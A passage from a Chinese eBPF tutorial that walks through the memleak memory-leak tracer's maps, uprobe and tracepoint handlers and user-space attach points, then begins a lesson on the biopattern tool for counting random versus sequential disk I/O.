<p>在基本层面上,<code>memleak</code> 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,<code>memleak</code> 就会记录一些重要信息,如调用者的进程 IDPID、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时<code>memleak</code> 则会在其内部的映射表map中删除相应的内存分配记录。这种机制使得 <code>memleak</code> 能够准确地追踪到哪些内存块已被分配但未被释放。</p>
<p>对于用户态的常用内存分配函数,如 <code>malloc</code><code>calloc</code> 等,<code>memleak</code> 利用了用户态探测uprobe技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。</p>
<p>对于内核态的内存分配函数,如 <code>kmalloc</code> 等,<code>memleak</code> 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。</p>
<h2 id="内核态-ebpf-程序实现"><a class="header" href="#内核态-ebpf-程序实现">内核态 eBPF 程序实现</a></h2>
<h2 id="memleak-内核态-ebpf-程序实现"><a class="header" href="#memleak-内核态-ebpf-程序实现"><code>memleak</code> 内核态 eBPF 程序实现</a></h2>
<p><code>memleak</code> 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 <code>memleak</code> 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。</p>
<pre><code class="language-c">#ifndef __MEMLEAK_H
#define __MEMLEAK_H
#define ALLOCS_MAX_ENTRIES 1000000
#define COMBINED_ALLOCS_MAX_ENTRIES 10240
struct alloc_info {
__u64 size; // 分配的内存大小
__u64 timestamp_ns; // 分配时的时间戳,单位为纳秒
int stack_id; // 分配时的调用堆栈ID
};
union combined_alloc_info {
struct {
__u64 total_size : 40; // 所有未释放分配的总大小
__u64 number_of_allocs : 24; // 所有未释放分配的总次数
};
__u64 bits; // 结构的位图表示
};
#endif /* __MEMLEAK_H */
</code></pre>
<p>这里定义了两个主要的数据结构:<code>alloc_info</code><code>combined_alloc_info</code></p>
<p><code>alloc_info</code> 结构体包含了一个内存分配的基本信息,包括分配的内存大小 <code>size</code>、分配发生时的时间戳 <code>timestamp_ns</code>,以及触发分配的调用堆栈 ID <code>stack_id</code></p>
<p><code>combined_alloc_info</code> 是一个联合体union它包含一个嵌入的结构体和一个 <code>__u64</code> 类型的位图表示 <code>bits</code>。嵌入的结构体有两个成员:<code>total_size</code><code>number_of_allocs</code>,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数用来限制其大小。通过这样的位数限制可以节省combined_alloc_info结构的存储空间。同时由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs从而避免了在程序中定义额外的变量和函数的复杂性。</p>
<p>接下来,<code>memleak</code> 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射maps。这些映射都以 <code>SEC(&quot;.maps&quot;)</code> 的形式定义,表示它们属于 eBPF 程序的映射部分。</p>
<pre><code class="language-c">const volatile size_t min_size = 0;
const volatile size_t max_size = -1;
const volatile size_t page_size = 4096;
const volatile __u64 sample_rate = 1;
const volatile bool trace_all = false;
const volatile __u64 stack_flags = 0;
const volatile bool wa_missing_free = false;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, pid_t);
__type(value, u64);
__uint(max_entries, 10240);
} sizes SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64); /* address */
__type(value, struct alloc_info);
__uint(max_entries, ALLOCS_MAX_ENTRIES);
} allocs SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64); /* stack id */
__type(value, union combined_alloc_info);
__uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
} combined_allocs SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, u64);
__type(value, u64);
__uint(max_entries, 10240);
} memptrs SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_STACK_TRACE);
__type(key, u32);
} stack_traces SEC(&quot;.maps&quot;);
static union combined_alloc_info initial_cinfo;
</code></pre>
<p>这段代码首先定义了一些可配置的参数,如 <code>min_size</code>, <code>max_size</code>, <code>page_size</code>, <code>sample_rate</code>, <code>trace_all</code>, <code>stack_flags</code><code>wa_missing_free</code>分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放missing free模式。</p>
<p>接着定义了五个映射:</p>
<ol>
<li><code>sizes</code>:这是一个哈希类型的映射,键为进程 ID值为 <code>u64</code> 类型,存储每个进程的分配大小。</li>
<li><code>allocs</code>:这也是一个哈希类型的映射,键为分配的地址,值为 <code>alloc_info</code> 结构体,存储每个内存分配的详细信息。</li>
<li><code>combined_allocs</code>:这是另一个哈希类型的映射,键为堆栈 ID值为 <code>combined_alloc_info</code> 联合体,存储所有未释放分配的总大小和总次数。</li>
<li><code>memptrs</code>:这也是一个哈希类型的映射,键和值都为 <code>u64</code> 类型,用于在用户空间和内核空间之间传递内存指针。</li>
<li><code>stack_traces</code>:这是一个堆栈追踪类型的映射,键为 <code>u32</code> 类型,用于存储堆栈 ID。</li>
</ol>
<p>以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 <code>malloc</code>, <code>free</code>, <code>calloc</code>, <code>realloc</code>, <code>mmap</code><code>munmap</code>,以便在调用这些函数时进行数据记录。在用户态,<code>memleak</code> 主要使用了 uprobes 技术进行挂载。</p>
<p>每个函数调用被分为 &quot;enter&quot;&quot;exit&quot; 两部分。&quot;enter&quot; 部分记录的是函数调用的参数,如分配的大小或者释放的地址。&quot;exit&quot; 部分则主要用于获取函数的返回值,如分配得到的内存地址。</p>
<p>这里,<code>gen_alloc_enter</code>, <code>gen_alloc_exit</code>, <code>gen_free_enter</code> 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。</p>
<p>函数原型示例如下:</p>
<pre><code class="language-c">SEC(&quot;uprobe&quot;)
int BPF_KPROBE(malloc_enter, size_t size)
{
// 记录分配开始的相关信息
return gen_alloc_enter(size);
}
SEC(&quot;uretprobe&quot;)
int BPF_KRETPROBE(malloc_exit)
{
// 记录分配结束的相关信息
return gen_alloc_exit(ctx);
}
SEC(&quot;uprobe&quot;)
int BPF_KPROBE(free_enter, void *address)
{
// 记录释放开始的相关信息
return gen_free_enter(address);
}
</code></pre>
<p>其中,<code>malloc_enter</code><code>free_enter</code> 是分别挂载在 <code>malloc</code><code>free</code> 函数入口处的探针probes用于在函数调用时进行数据记录。而 <code>malloc_exit</code> 则是挂载在 <code>malloc</code> 函数的返回处的探针,用于记录函数的返回值。</p>
<p>这些函数使用了 <code>BPF_KPROBE</code><code>BPF_KRETPROBE</code> 这两个宏来声明,这两个宏分别用于声明 kprobe内核探针和 kretprobe内核返回探针。具体来说kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。</p>
<p><code>gen_alloc_enter</code> 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。</p>
<pre><code class="language-c">static int gen_alloc_enter(size_t size)
{
if (size &lt; min_size || size &gt; max_size)
return 0;
if (sample_rate &gt; 1) {
if (bpf_ktime_get_ns() % sample_rate != 0)
return 0;
}
const pid_t pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_map_update_elem(&amp;sizes, &amp;pid, &amp;size, BPF_ANY);
if (trace_all)
bpf_printk(&quot;alloc entered, size = %lu\n&quot;, size);
return 0;
}
SEC(&quot;uprobe&quot;)
int BPF_KPROBE(malloc_enter, size_t size)
{
return gen_alloc_enter(size);
}
</code></pre>
<p>首先,<code>gen_alloc_enter</code> 函数接收一个 <code>size</code> 参数,这个参数表示请求分配的内存的大小。如果这个值不在 <code>min_size</code><code>max_size</code> 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。</p>
<p>接下来,函数检查采样率 <code>sample_rate</code>。如果 <code>sample_rate</code> 大于1意味着我们不需要追踪所有的内存分配请求而是周期性地追踪。这里使用 <code>bpf_ktime_get_ns</code> 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。</p>
<p>之后,函数使用 <code>bpf_get_current_pid_tgid</code> 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID我们通过右移 32 位来获取真正的进程 ID。</p>
<p>函数接下来更新 <code>sizes</code> 这个 map这个 map 以进程 ID 为键,以请求的内存分配大小为值。<code>BPF_ANY</code> 表示如果 key 已存在,那么更新 value否则就新建一个条目。</p>
<p>最后,如果启用了 <code>trace_all</code> 标志,函数将打印一条信息,说明发生了内存分配。</p>
<p><code>BPF_KPROBE</code> 宏用于</p>
<p>最后定义了 <code>BPF_KPROBE(malloc_enter, size_t size)</code>,它会在 <code>malloc</code> 函数被调用时被 BPF uprobe 拦截执行,并通过 <code>gen_alloc_enter</code> 来记录内存分配大小。
我们刚刚分析了内存分配的入口函数 <code>gen_alloc_enter</code>,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 <code>gen_alloc_exit2</code> 函数以及如何从内存分配调用中获取返回的内存地址。</p>
<pre><code class="language-c">static int gen_alloc_exit2(void *ctx, u64 address)
{
const pid_t pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
struct alloc_info info;
const u64* size = bpf_map_lookup_elem(&amp;sizes, &amp;pid);
if (!size)
return 0; // missed alloc entry
__builtin_memset(&amp;info, 0, sizeof(info));
info.size = *size;
bpf_map_delete_elem(&amp;sizes, &amp;pid);
if (address != 0) {
info.timestamp_ns = bpf_ktime_get_ns();
info.stack_id = bpf_get_stackid(ctx, &amp;stack_traces, stack_flags);
bpf_map_update_elem(&amp;allocs, &amp;address, &amp;info, BPF_ANY);
update_statistics_add(info.stack_id, info.size);
}
if (trace_all) {
bpf_printk(&quot;alloc exited, size = %lu, result = %lx\n&quot;,
info.size, address);
}
return 0;
}
static int gen_alloc_exit(struct pt_regs *ctx)
{
return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
}
SEC(&quot;uretprobe&quot;)
int BPF_KRETPROBE(malloc_exit)
{
return gen_alloc_exit(ctx);
}
</code></pre>
<p><code>gen_alloc_exit2</code> 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 <code>ctx</code>,另一个是内存分配函数返回的内存地址 <code>address</code></p>
<p>首先,它获取当前线程的 PID然后使用这个 PID 作为键在 <code>sizes</code> 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。</p>
<p>接着,函数清除 <code>info</code> 结构体的内容,并设置它的 <code>size</code> 字段为之前在 map 中找到的内存分配大小。并从 <code>sizes</code> 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。</p>
<p>接下来,如果 <code>address</code> 不为 0也就是说内存分配操作成功了函数就会进一步收集一些额外的信息。首先它获取当前的时间戳作为内存分配完成的时间并获取当前的堆栈跟踪。这些信息都会被储存在 <code>info</code> 结构体中,并随后更新到 <code>allocs</code> 这个 map 中。</p>
<p>最后,函数调用 <code>update_statistics_add</code> 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。</p>
<p>请注意,<code>gen_alloc_exit</code> 函数是 <code>gen_alloc_exit2</code> 的一个包装,它将 <code>PT_REGS_RC(ctx)</code> 作为 <code>address</code> 参数传递给 <code>gen_alloc_exit2</code><code>在我们的讨论中,我们刚刚提到在</code>gen_alloc_exit2<code>函数中,调用了</code>update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。</p>
<pre><code class="language-c">static void update_statistics_add(u64 stack_id, u64 sz)
{
union combined_alloc_info *existing_cinfo;
existing_cinfo = bpf_map_lookup_or_try_init(&amp;combined_allocs, &amp;stack_id, &amp;initial_cinfo);
if (!existing_cinfo)
return;
const union combined_alloc_info incremental_cinfo = {
.total_size = sz,
.number_of_allocs = 1
};
__sync_fetch_and_add(&amp;existing_cinfo-&gt;bits, incremental_cinfo.bits);
}
</code></pre>
<p><code>update_statistics_add</code> 函数接收两个参数:当前的堆栈 ID <code>stack_id</code> 以及内存分配的大小 <code>sz</code>。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。</p>
<p>首先,函数尝试在 <code>combined_allocs</code> 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 <code>initial_cinfo</code>(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。</p>
<p>接着,函数创建一个 <code>incremental_cinfo</code>,并设置它的 <code>total_size</code> 为当前内存分配的大小,设置 <code>number_of_allocs</code> 为 1。这是因为每次调用 <code>update_statistics_add</code> 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 <code>sz</code></p>
<p>最后,函数使用 <code>__sync_fetch_and_add</code> 函数原子地将 <code>incremental_cinfo</code> 的值加到 <code>existing_cinfo</code> 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 <code>update_statistics_add</code> 函数,每个内存分配事件也能正确地记录到统计数据中。</p>
<p>总的来说,<code>update_statistics_add</code> 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。
在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 <code>update_statistics_del</code> 的函数,其作用是在内存释放时更新统计信息。而 <code>gen_free_enter</code> 函数则是在进程调用 <code>free</code> 函数时被执行。</p>
<pre><code class="language-c">static void update_statistics_del(u64 stack_id, u64 sz)
{
union combined_alloc_info *existing_cinfo;
existing_cinfo = bpf_map_lookup_elem(&amp;combined_allocs, &amp;stack_id);
if (!existing_cinfo) {
bpf_printk(&quot;failed to lookup combined allocs\n&quot;);
return;
}
const union combined_alloc_info decremental_cinfo = {
.total_size = sz,
.number_of_allocs = 1
};
__sync_fetch_and_sub(&amp;existing_cinfo-&gt;bits, decremental_cinfo.bits);
}
</code></pre>
<p><code>update_statistics_del</code> 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 <code>combined_allocs</code> 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 <code>combined_alloc_info</code> 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 <code>decremental_cinfo</code><code>combined_alloc_info</code> 结构体,设置它的 <code>total_size</code> 为要释放的内存大小,设置 <code>number_of_allocs</code> 为 1。然后使用 <code>__sync_fetch_and_sub</code> 函数原子地从 <code>existing_cinfo</code> 中减去 <code>decremental_cinfo</code> 的值。请注意,这里的 <code>number_of_allocs</code> 是负数,表示减少了一个内存分配。</p>
<pre><code class="language-c">static int gen_free_enter(const void *address)
{
const u64 addr = (u64)address;
const struct alloc_info *info = bpf_map_lookup_elem(&amp;allocs, &amp;addr);
if (!info)
return 0;
bpf_map_delete_elem(&amp;allocs, &amp;addr);
update_statistics_del(info-&gt;stack_id, info-&gt;size);
if (trace_all) {
bpf_printk(&quot;free entered, address = %lx, size = %lu\n&quot;,
address, info-&gt;size);
}
return 0;
}
SEC(&quot;uprobe&quot;)
int BPF_KPROBE(free_enter, void *address)
{
return gen_free_enter(address);
}
</code></pre>
<p>接下来看 <code>gen_free_enter</code> 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 <code>allocs</code> 这个 map 中使用这个地址作为键来查找对应的 <code>alloc_info</code> 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 <code>update_statistics_del</code> 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。
在我们追踪和统计内存分配的同时我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。</p>
<pre><code class="language-c">SEC(&quot;tracepoint/kmem/kfree&quot;)
int memleak__kfree(void *ctx)
{
const void *ptr;
if (has_kfree()) {
struct trace_event_raw_kfree___x *args = ctx;
ptr = BPF_CORE_READ(args, ptr);
} else {
struct trace_event_raw_kmem_free___x *args = ctx;
ptr = BPF_CORE_READ(args, ptr);
}
return gen_free_enter(ptr);
}
</code></pre>
<p>上述代码片段定义了一个函数memleak__kfree这是一个bpf程序会在内核调用kfree函数时执行。首先该函数检查是否存在kfree函数。如果存在则会读取传递给kfree函数的参数即要释放的内存块的地址并保存到变量ptr中否则会读取传递给kmem_free函数的参数即要释放的内存块的地址并保存到变量ptr中。接着该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。</p>
<pre><code class="language-c">SEC(&quot;tracepoint/kmem/kmem_cache_alloc&quot;)
int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)
{
if (wa_missing_free)
gen_free_enter(ctx-&gt;ptr);
gen_alloc_enter(ctx-&gt;bytes_alloc);
return gen_alloc_exit2(ctx, (u64)(ctx-&gt;ptr));
}
</code></pre>
<p>这段代码定义了一个函数 memleak__kmem_cache_alloc这也是一个bpf程序会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配最后调用gen_alloc_exit2函数记录分配的结果。</p>
<p>这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint以便在相应的内核函数被调用时得到执行。在Linux内核中tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。</p>
<p>在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。</p>
<h3 id="用户态程序-1"><a class="header" href="#用户态程序-1">用户态程序</a></h3>
<p>在理解 BPF 内核部分之后我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合它负责将BPF程序加载到内核设置和管理BPF map以及处理从BPF程序收集到的数据。用户态程序较长我们这里可以简要参考一下它的挂载点。</p>
<pre><code class="language-c">int attach_uprobes(struct memleak_bpf *skel)
{
ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter);
ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit);
ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter);
ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit);
ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter);
ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit);
ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter);
ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit);
ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter);
ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit);
ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter);
ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit);
ATTACH_UPROBE_CHECKED(skel, free, free_enter);
ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter);
// the following probes are intentinally allowed to fail attachment
// deprecated in libc.so bionic
ATTACH_UPROBE(skel, valloc, valloc_enter);
ATTACH_URETPROBE(skel, valloc, valloc_exit);
// deprecated in libc.so bionic
ATTACH_UPROBE(skel, pvalloc, pvalloc_enter);
ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit);
// added in C11
ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter);
ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit);
return 0;
}
</code></pre>
<p>在这段代码中,我们看到一个名为<code>attach_uprobes</code>的函数该函数负责将uprobes用户空间探测点挂载到内存分配和释放函数上。在Linux中uprobes是一种内核机制可以在用户空间程序中的任意位置设置断点这使得我们可以非常精确地观察和控制用户空间程序的行为。</p>
<p>这里每个内存相关的函数都通过两个uprobes进行跟踪一个在函数入口enter一个在函数退出exit。因此每当这些函数被调用或返回时都会触发一个uprobes事件进而触发相应的BPF程序。</p>
<p>在具体的实现中,我们使用了<code>ATTACH_UPROBE</code><code>ATTACH_URETPROBE</code>两个宏来附加uprobes和uretprobes函数返回探测点。每个宏都需要三个参数BPF程序的骨架skel要监视的函数名以及要触发的BPF程序的名称。</p>
<p>这些挂载点包括常见的内存分配函数如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等以及对应的退出点。另外我们也观察一些可能的分配函数如valloc、pvalloc、aligned_alloc等尽管它们可能不总是存在。</p>
<p>这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。</p>
<p>注意一些内存分配函数可能并不存在或已弃用比如valloc、pvalloc等因此它们的附加可能会失败。在这种情况下我们允许附加失败并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数而这些已经被弃用的函数往往在实际应用中较少使用。</p>
<p>完整的源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak</a></p>
<p>参考:<a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c">https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c</a></p>
<h2 id="编译运行-5"><a class="header" href="#编译运行-5">编译运行</a></h2>
<pre><code class="language-console">$ make
$ sudo ./memleak
using default object: libc.so.6
using page size: 4096
tracing kernel: true
Tracing outstanding memory allocs... Hit Ctrl-C to end
[17:17:27] Top 10 stacks with outstanding allocations:
1236992 bytes in 302 allocations from stack
0 [&lt;ffffffff812c8f43&gt;] &lt;null sym&gt;
1 [&lt;ffffffff812c8f43&gt;] &lt;null sym&gt;
2 [&lt;ffffffff812a9d42&gt;] &lt;null sym&gt;
3 [&lt;ffffffff812aa392&gt;] &lt;null sym&gt;
4 [&lt;ffffffff810df0cb&gt;] &lt;null sym&gt;
5 [&lt;ffffffff81edc3fd&gt;] &lt;null sym&gt;
6 [&lt;ffffffff82000b62&gt;] &lt;null sym&gt;
...
</code></pre>
<h2 id="总结-14"><a class="header" href="#总结-14">总结</a></h2>
<p>通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。</p>
<p>您可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<p>接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF以解决实际工作中遇到的问题。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程十七编写-ebpf-程序统计随机顺序磁盘-io"><a class="header" href="#ebpf-入门实践教程十七编写-ebpf-程序统计随机顺序磁盘-io">eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O</a></h1>
<p>eBPF扩展的伯克利数据包过滤器是 Linux 内核中的一种新技术,允许用户在内核空间中执行自定义程序,而无需更改内核代码。这为系统管理员和开发者提供了强大的工具,可以深入了解和监控系统的行为,从而进行优化。</p>
<p>在本篇教程中,我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一,特别是在数据密集型应用中。</p>
<h2 id="随机顺序磁盘-io"><a class="header" href="#随机顺序磁盘-io">随机/顺序磁盘 I/O</a></h2>
<p>随着技术的进步和数据量的爆炸性增长,磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此,深入了解和优化磁盘 I/O特别是随机和顺序的 I/O变得尤为重要。</p>
<ol>
<li>
<p><strong>随机 I/O</strong>:随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动,导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。</p>
</li>
<li>
<p><strong>顺序 I/O</strong>:与随机 I/O 相反,顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动,从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。</p>
</li>
</ol>
<p>为了实现存储性能的最优化,了解随机和顺序的磁盘 I/O 是至关重要的。例如,随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘,因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反,对于大量顺序 I/O 的应用,如何最大化磁盘的连续读写速度则更为关键。</p>
<p>在本教程的后续部分,我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为,还可以为进一步的性能优化提供有力的数据支持。</p>
<h2 id="biopattern"><a class="header" href="#biopattern">Biopattern</a></h2>
<p>Biopattern 可以统计随机/顺序磁盘I/O次数的比例。</p>
<p>首先,确保你已经正确安装了 libbpf 和相关的工具集,可以在这里找到对应的源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">bpf-developer-tutorial</a></p>
<p>导航到 <code>biopattern</code> 的源代码目录,并使用 <code>make</code> 命令进行编译:</p>
<pre><code class="language-bash">cd ~/bpf-developer-tutorial/src/17-biopattern
make
</code></pre>
<p>编译成功后,你应该可以在当前目录下看到 <code>biopattern</code> 的可执行文件。基本的运行命令如下:</p>
<pre><code class="language-bash">sudo ./biopattern [interval] [count]
</code></pre>
<p>例如要每秒打印一次输出并持续10秒你可以运行</p>
<pre><code class="language-console">$ sudo ./biopattern 1 10
Tracing block device I/O requested seeks... Hit Ctrl-C to end.
DISK %RND %SEQ COUNT KBYTES
sr0 0 100 3 0
sr1 0 100 8 0
sda 0 100 1 4
sda 100 0 26 136
sda 0 100 1 4
</code></pre>
<p>输出列的含义如下:</p>
<ul>
<li><code>DISK</code>:被追踪的磁盘名称。</li>
<li><code>%RND</code>:随机 I/O 的百分比。</li>
<li><code>%SEQ</code>:顺序 I/O 的百分比。</li>
<li><code>COUNT</code>:在指定的时间间隔内的 I/O 请求次数。</li>
<li><code>KBYTES</code>:在指定的时间间隔内读写的数据量(以 KB 为单位)。</li>
</ul>
<p>从上述输出中,我们可以得出以下结论:</p>
<ul>
<li><code>sr0</code><code>sr1</code> 设备在观测期间主要进行了顺序 I/O但数据量很小。</li>
<li><code>sda</code> 设备在某些时间段内只进行了随机 I/O而在其他时间段内只进行了顺序 I/O。</li>
</ul>
<p>这些信息可以帮助我们了解系统的 I/O 模式,从而进行针对性的优化。</p>
<h2 id="ebpf-biopattern-实现原理"><a class="header" href="#ebpf-biopattern-实现原理">eBPF Biopattern 实现原理</a></h2>
<p>首先,让我们看一下 biopattern 的核心 eBPF 内核态代码:</p>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &quot;biopattern.h&quot;
#include &quot;maps.bpf.h&quot;
#include &quot;core_fixes.bpf.h&quot;
const volatile bool filter_dev = false;
const volatile __u32 targ_dev = 0;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32);
__type(value, struct counter);
} counters SEC(&quot;.maps&quot;);
SEC(&quot;tracepoint/block/block_rq_complete&quot;)
int handle__block_rq_complete(void *args)
{
struct counter *counterp, zero = {};
sector_t sector;
u32 nr_sector;
u32 dev;
if (has_block_rq_completion()) {
struct trace_event_raw_block_rq_completion___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
} else {
struct trace_event_raw_block_rq_complete___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
}
if (filter_dev &amp;&amp; targ_dev != dev)
return 0;
counterp = bpf_map_lookup_or_try_init(&amp;counters, &amp;dev, &amp;zero);
if (!counterp)
return 0;
if (counterp-&gt;last_sector) {
if (counterp-&gt;last_sector == sector)
__sync_fetch_and_add(&amp;counterp-&gt;sequential, 1);
else
__sync_fetch_and_add(&amp;counterp-&gt;random, 1);
__sync_fetch_and_add(&amp;counterp-&gt;bytes, nr_sector * 512);
}
counterp-&gt;last_sector = sector + nr_sector;
return 0;
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<ol>
<li>全局变量定义</li>
</ol>
<pre><code class="language-c"> const volatile bool filter_dev = false;
const volatile __u32 targ_dev = 0;
</code></pre>
